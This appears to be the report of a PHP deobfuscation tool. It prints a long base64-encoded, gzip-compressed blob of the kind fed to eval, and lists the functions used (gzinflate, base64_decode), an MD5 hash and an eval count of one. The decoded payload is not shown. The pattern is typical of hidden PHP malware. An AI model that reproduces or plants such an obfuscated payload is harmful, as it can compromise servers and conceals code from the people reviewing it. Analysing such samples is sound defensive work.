QPs2fLn+UKJhFpJmI5gNM7zvX4vPM+vMwXe6vdvI2AfCQbCGr7D9i8aYwomeIs0f1KUl/INdA+olFeRKm09SSW8+tWEX3b6rdt0yivZKK+UOeXoI4TsoR1qfNbHMLqSBrLG9tHRj3u7IPzbF9xSpr/Z2CgX1GCSbz5q0IIomSkoEG1ZYzgC66L2RChFnGDP3NWolONJKyaDSkLLqtAuyYv5qF2BflQw1RK2Tr0dSb4fDecq9SIFxE3AughYcyCc+nfc8QgWCd3RA4twCSScs7g700od2/Pf0NYxvOr3bsP7yQCE1NZk3MeQpJ1oHM6Nb6JRiR8Nrc+YCBoqo6X5bjRXK5Rg95bnHif5Yl7Y6fKwH3NbdDkZjyv5C+FbIfv9PMBDjzeTDmWX5vclCrKLcuMQvc3wZV52aNhrwyhc4TyeZYTqy+YQ1bxDVJt1iOorzhhhj5CrXDHfvSV33Xxxebmo1AfhUCe/XWDYaefdGtqU7+hXUCgURGcHRnKLu5vmeNPMj4AnoMm0otwIVJoEE7IdDRMBl8omoMynENDoc26B1gJj4MhDK/IF8wsgJ56AvwUf38iHRLZZgi75FlyxZHFF3csV9Vm5YmnFM3OnDF23397cfn9wtJMwQEAhfD/6eJjw/Xo4gO/vTo594wR9XqWJl0zyqk2yANLYeYAxnyv54mK5qAKoC84Vny4KGjerd8DMyJg6M0+hZrmckZrqtDVnuUJLTr4IQ+YluuohusqJLi8vLxPBXjZv3TSenM+/EZvXayabL3vZfHlm4VdNE36jBn9YqRf5q8d1SVXvkww0LabTREMEJPExCmAHNccWhv3+eH3hpt8N1xfG3QErBLPUWPfWKHPJ4TKAC12XmKaSN3h41Og2R7dAULWYL8FyvV4a3AygSIBkqRfreNEAiDKZDVZlQjkKm0PgRdHFifw4I18JX1ySVpMBud2J/Iw4T9ju4fbZz8e7G91JZxzBnBmTe+k8RnKNNfvpfGmy5aJfb1qcWXFa8o4IyiDoFLT+8seVpWI+PwtzVSvThrp3VcHBhj++4ZZLOh/wp5Ye1W8kPSr2MFX9w1SddZgqS8nLpJ5pgmuhGDIUdUQrIRRseOAt/JuwLgIgbHegCP5JLEO3oqAQ/U0shR4oUAj/JJdBXxMshH8TS7UmQ1R48U9imXe7mAUV/k0s8fkSa4J/p+pmNm9NWX8ry876q7HxMOw2+AxaqhXz6CqytrAw00SqpKrNsN8U+JWgfsLpgLuPlCmRV+lRnCs28Z0ankfQl1Qlr90Y+n8="))) 

Function Calls

gzinflate 1
base64_decode 1

Variables

None

Stats

MD5 28422e00931d2b1609a49110cadd6498
Eval Count 1
Decode Time 7170 ms